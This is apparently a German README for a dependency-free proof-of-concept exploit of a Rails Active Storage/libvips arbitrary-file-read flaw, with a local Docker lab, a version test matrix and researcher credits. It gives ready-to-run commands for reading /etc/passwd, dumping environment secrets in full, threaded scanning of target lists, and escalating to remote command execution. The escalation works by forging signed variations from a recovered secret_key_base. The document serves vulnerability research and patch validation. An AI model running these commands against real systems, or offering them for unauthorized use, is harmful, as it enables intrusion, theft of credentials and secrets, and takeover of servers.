
Einzeldatei-PoC für Rails CVE-2026-66066: beliebiges Dateilesen, Secret-Wiederherstellung, threadbasiertes Scannen und bedingte RCE über signierte Bildvarianten.
Ein Proof of Concept ohne Abhängigkeiten in einer einzigen Datei sowie ein nur auf Loopback erreichbares Docker-Lab für die Rails-Active-Storage/libvips-Schwachstelle mit beliebigem Dateizugriff. Es demonstriert außerdem die bedingte Eskalation aus dem Advisory: von einem wiederhergestellten secret_key_base zu einer gefälschten Bildvariation und Befehlsausführung.
Primäre Referenzen: Rails-Advisory, Rails-Forensikanalyse, der technische Ethiack-Bericht und das 8.1.3.1-Release.
https://github.com/user-attachments/assets/fdcb5651-c1d1-4bc4-b322-8f1205b09635
kr2s.py enthält den vollständigen Client in einer Datei:
h5py oder numpy;Das Tool installiert keine Pakete, startet keinen Callback-Listener, benötigt kein curl auf dem Zielsystem und ist nicht von make abhängig. Die RCE-Stufe nutzt die eingebaute Active-Storage-Representation-Route und benötigt kein Marshal-Gadget.
Starten Sie das verwundbare Lab:
cd lab
RAILS_VERSION=8.1.3 docker compose up --build
Der Compose-Port ist an 127.0.0.1 gebunden, und der Container läuft als unprivilegierter Benutzer mit entfernten Linux-Capabilities.
In einem anderen Terminal:
# Intrusive: uploads a blob, then confirms /etc/hostname is readable.
python3 kr2s.py check http://127.0.0.1:3000
# Recover a fixed-size prefix. Binary output goes to stdout unless -o is used.
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd --size 4096
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd -o passwd.bin
# Recover selected environment secrets. Values are redacted by default.
python3 kr2s.py secrets http://127.0.0.1:3000
# Display complete matched environment values for authorized analysis.
python3 kr2s.py secrets http://127.0.0.1:3000 --show-full
# Passive preflight of one target or a file containing one target per line.
python3 kr2s.py scan http://127.0.0.1:3000
python3 kr2s.py scan targets.txt --threads 10 --json scan.json
# Intrusively confirm file read on every target in the list.
python3 kr2s.py scan targets.txt --active
# Probe selected libvips loaders.
python3 kr2s.py probe http://127.0.0.1:3000
# Conditional escalation. This executes the supplied command.
python3 kr2s.py rce http://127.0.0.1:3000 "id; uname -a"
Führen Sie python3 kr2s.py COMMAND --help aus, um alle Überschreibungen zu sehen. Häufige Steuerungsmöglichkeiten für reale Anwendungen umfassen --harvest-url, --show-path, --proxy, --insecure und --skb.
secrets --show-full gibt vollständige übereinstimmende Umgebungsvariablenwerte aus. Ohne diese Option druckt das Tool nur die ersten 12 Zeichen und eine Ellipse. Dateien, die mit --also-read angefordert werden, einschließlich der standardmäßigen Rails-Credential-Pfade, werden bei Lesbarkeit mit bis zu 600 Zeichen ausgegeben.
Passives scan meldet lediglich, ob die Seite eine erntbare Active-Storage-Representation bereitstellt; es kann den installierten Rails-Patchstand nicht ermitteln. scan --active lädt einen schädlichen Blob hoch und versucht den Canary-Read. Ein fehlgeschlagenes aktives Ergebnis wird als BLOCKED_OR_INCONCLUSIVE gekennzeichnet, nicht als SAFE, da WAFs, Authentifizierung, nicht unterstützte Variationen und der Rails-Fix von außerhalb der Anwendung identisch aussehen können.
Stoppen Sie das Lab mit:
cd lab
docker compose down
image/png deklarierten Active-Storage-Direktupload.matload; die Bytes der Zieldatei werden zu Bildpixeln und in einem generierten PNG zurückgegeben.Die Hybriddatei erfüllt gleichzeitig zwei Parser: Ihr Text beginnt mit MATLAB 5.0, während das Versionswort an Offset 124 den HDF5-gestützten MATLAB-7.3-Pfad auswählt. Der Fix von Rails blockiert als nicht vertrauenswürdig markierte libvips-Operationen, bevor eine vom Angreifer kontrollierte Datei matload erreichen kann.
rce liest zunächst SECRET_KEY_BASE aus /proc/self/environ, sofern nicht --skb angegeben wird. Es leitet den Active-Storage-Verifier-Schlüssel ab und signiert eine JSON-Variation, die eine instance_eval-Operation enthält. Auf dem betroffenen vips-Pfad erreicht die Operation Vips::Image.public_send. Das PoC sendet sie über die eingebaute Representation-Route, führt den angegebenen Befehl über /bin/sh aus und erfasst beide Ausgabeströme.
Diese zweite Stufe hängt davon ab, dass das Signing-Secret wiederhergestellt wird und das verwundbare vips-Transformationsverhalten erreicht wird, das in der Ethiack-Analyse von CVE-2025-24293 beschrieben wird. Der Patch für CVE-2026-66066 schließt den Dateizugriffs-Einstiegspunkt; er ist keine allgemeine Korrektur für zuvor geleakte Signing-Secrets. Rotieren Sie Secrets nach einem mutmaßlichen Leak, wie das Rails-Advisory empfiehlt.
Die Befehlsausgabe wird in eine zufällige Datei /tmp/.kr2s_* geschrieben, über dasselbe Dateizugriffs-Primitiv wiederhergestellt und anschließend mit einem zweiten signierten Payload entfernt.
Lesezugriffe geben den angeforderten Bereich fester Größe zurück. Ist die Quelle kürzer, folgen auf ihren Prefix Nullbytes. Verwenden Sie --offset für weitere Bereiche.
Die Standard-Lab-Variation konvertiert nur nach PNG, daher ist die Wiederherstellung bytegenau. Reale Anwendungen können Varianten in der Größe verändern. Der Modus mit geerntetem Schlüssel verwendet eine Ein-Pixel-Spalte, um horizontales Resampling zu vermeiden, aber eine Variation mit geringerer Höhe kann die Geometrie dennoch verändern. In diesem Fall schlägt der Client explizit fehl; verringern Sie --size oder ernten Sie eine Representation ohne Größenänderung.
Jeder Befehl ist intrusiv: Er erzeugt persistente Active-Storage-Blobs und kann verarbeitete Varianten erzeugen. rce führt zusätzlich den angegebenen Befehl aus.
Das Matrix-Skript baut jede Version, führt echte Read- und RCE-Prüfungen auf verwundbaren Versionen aus, stellt sicher, dass Lesezugriffe auf behobenen Versionen blockiert werden, und gibt bei jeder Abweichung einen Wert ungleich null zurück:
./lab/matrix.sh
./lab/matrix.sh 8.1.3
./lab/matrix.sh 8.1.3.1:PATCHED
Validiert am 31.07.2026 mit Ruby 3.4.10, image_processing 1.14.0, ruby-vips 2.3.0 und libvips 8.16.1:
Bei behobenen Zeilen wird bewusst kein RCE-Payload mit einem vorab bereitgestellten Signing-Secret ausgelöst; die Matrix testet die Dateizugriffs-Grenze der CVE.
research/craft.py erzeugt Kandidaten-Payloads für die Loader-Forschung neu und benötigt h5py sowie numpy. Es wird vom Release-PoC nicht importiert. lab/probe/probe.sh untersucht diese Kandidaten mit ruby-vips in einem Lab-Image:
uv run --script research/craft.py all -o /tmp/kr2s-payloads
docker run --rm \
-v "$PWD/lab/probe:/probe:ro" \
-v /tmp/kr2s-payloads:/payloads:ro \
--entrypoint /probe/probe.sh kr2s-rails:8.1.3
Führen Sie die abhängigkeitsfreien Unit-Tests aus mit:
python3 -m unittest discover -s tests -v
Das MAT/HDF5-Payload und der abhängigkeitsfreie Client wurden durch lokale Tests entwickelt. Nachdem öffentliche PoCs erschienen, übernahm dieses Release die Ernte von Variationsschlüsseln und die eingebauten Active-Storage-Routen, die im PoC von Zer0SumGam3 dokumentiert sind. Die Python-Implementierung hier ist originär und nutzt ausschließlich die Standardbibliothek.
Eine frühere Revision zeigte, dass RCE auch mit einem signierten Marshal-Payload unter Verwendung von Puma::MiniSSL::Context und einem ActiveSupport-Proxy möglich war, basierend auf Behrad Tahers öffentlicher Gadget-Forschung. Dieser Weg vermied Hilfsbinaries auf der Zielseite, erforderte jedoch eine Marshal-fähige Senke für signierte IDs sowie geladene Puma- und ActiveSupport-Gadget-Klassen. Er wurde ersetzt, nachdem das Ethiack Research Team seinen technischen KindaRails2Shell-Bericht veröffentlichte, der die einfachere Technik mit signierter JSON-Variation dokumentiert. Sie verwendet eine Standard-Route und entfernt diese Voraussetzungen.
Die Entdeckung wird André Baptista (0xacb), Bruno Mendes (s3np41k1r1t0), Rafael Castilho und dem Ethiack Research Team sowie RyotaK (GMO Flatt Security) zugeschrieben. Abdelmounaim Moulahcene (bl0rph) veröffentlichte das zugrunde liegende Primitiv kurz vor der koordinierten Offenlegung unabhängig. Die vollständige Zeitleiste und Danksagungen der Maintainer finden Sie im Rails-Forensik-Repository.
Verwenden Sie das Tool nur auf Systemen, die Ihnen gehören oder für die Sie ausdrücklich zum Testen autorisiert sind. Die Autoren übernehmen keine Haftung für Missbrauch. Siehe SECURITY.md zur Meldung von Problemen in diesem Forschungsartefakt.
Veröffentlicht unter der MIT-Lizenz.
| Rails | Dateizugriff | RCE-Prüfung | Ergebnis |
|---|
| 7.2.3.1 | READ-OK | RCE-OK | bestanden |
| 7.2.3.2 | blockiert | nicht ausgeführt | bestanden |
| 8.0.5 | READ-OK | RCE-OK | bestanden |
| 8.0.5.1 | blockiert | nicht ausgeführt | bestanden |
| 8.1.3 | READ-OK | RCE-OK | bestanden |
| 8.1.3.1 | blockiert | nicht ausgeführt | bestanden |